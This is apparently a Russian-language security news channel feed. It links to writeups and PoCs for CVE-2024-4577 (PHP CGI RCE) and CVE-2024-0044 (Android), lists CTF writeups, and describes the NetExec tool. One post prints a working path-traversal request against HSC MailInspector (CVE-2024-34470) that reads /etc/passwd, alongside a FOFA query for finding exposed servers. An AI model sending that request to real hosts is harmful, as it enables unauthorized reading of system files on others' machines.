Fsecurity | HH

CVE-2024-4577 PHP CGI Remote Code Execution * writeUP для версий: PHP 8.3 < 8.3.8 PHP 8.2 < 8.2.20 PHP 8.1 < 8.1.29 * POC #php #rce

🔗Ссылка: https://habr.com/ru/companies/otus/articles/822929/

🔗Ссылка: https://xakep.ru/2024/06/20/mailcow-flaws/

🔗Ссылка: https://www.anti-malware.ru/news/2024-06-20-114534/43603

Хочу также посоветовать: 1 - Наш discord сервер! Где можно пообщаться 👾 2 - Мой Github 🦑 Наш второй канал [Ximera-Chan]

🔗Ссылка: https://habr.com/ru/companies/otus/articles/821343/

🔗Ссылка: https://www.securitylab.ru/news/549349.php

CVE 2024 0044 * Дырка в Android 12 и 13. Уязвимость позволяет злоумышленнику выполнить атаку «запуск от имени любого приложения», что приводит к локальное повышение привилегий без вмешательства пользователя * exploit #android

🔗Ссылка: https://www.securitylab.ru/news/549338.php

Опа вот вам и райтапы 👆🏻

Добавили несколько райтапов на таски Codeby.games 😎: ✈️ Авиаперелёт #osint #medium 🔏 Привилегированный гость #web #medium 👌Окей #crypto #easy 🪤 Точка невозврата #web #medium 🥎 Снитч #web #easy 💣 Минное поле #web #medium 🐘 Купи слона #pwn #easy 📝 Имя #pwn #medium 🚧 Обходной путь #web #medium 😆 Весёлый RSA #crypto #medium #codeby #writeup

🔗Ссылка: https://www.securitylab.ru/news/549309.php

🔗Ссылка: https://xakep.ru/2024/06/19/amd-leak-intelbroker/

CVE-2024-34470 HSC MailInspector * POC: GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd FOFA: title=="..:: HSC MailInspector ::.."

NetExec (он же nxc) - это инструмент для использования сетевых сервисов, который помогает автоматизировать оценку безопасности крупных сетей. NetExec является продолжением CrackMapExec, который поддерживался mpgn на протяжении многих лет, но был прекращен после выхода mpgn на пенсию. Установленный размер: 3,15 МБ Как установить: sudo apt install netexec

🔗Ссылка: https://www.kali.org/tools/netexec/

🔗Ссылка: https://habr.com/ru/companies/serverspace/articles/821619/

🔗Ссылка: https://habr.com/ru/articles/822629/

🔗Ссылка: https://habr.com/ru/companies/bastion/articles/820971/